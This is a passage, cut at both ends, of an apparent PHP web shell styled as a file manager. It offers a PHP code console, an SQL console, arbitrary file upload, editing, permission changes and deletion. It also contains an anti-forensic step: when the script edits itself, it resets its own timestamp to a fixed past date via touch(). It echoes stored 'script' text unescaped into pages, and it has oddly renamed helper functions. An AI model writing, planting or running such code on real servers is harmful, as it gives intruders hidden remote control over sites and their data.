a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

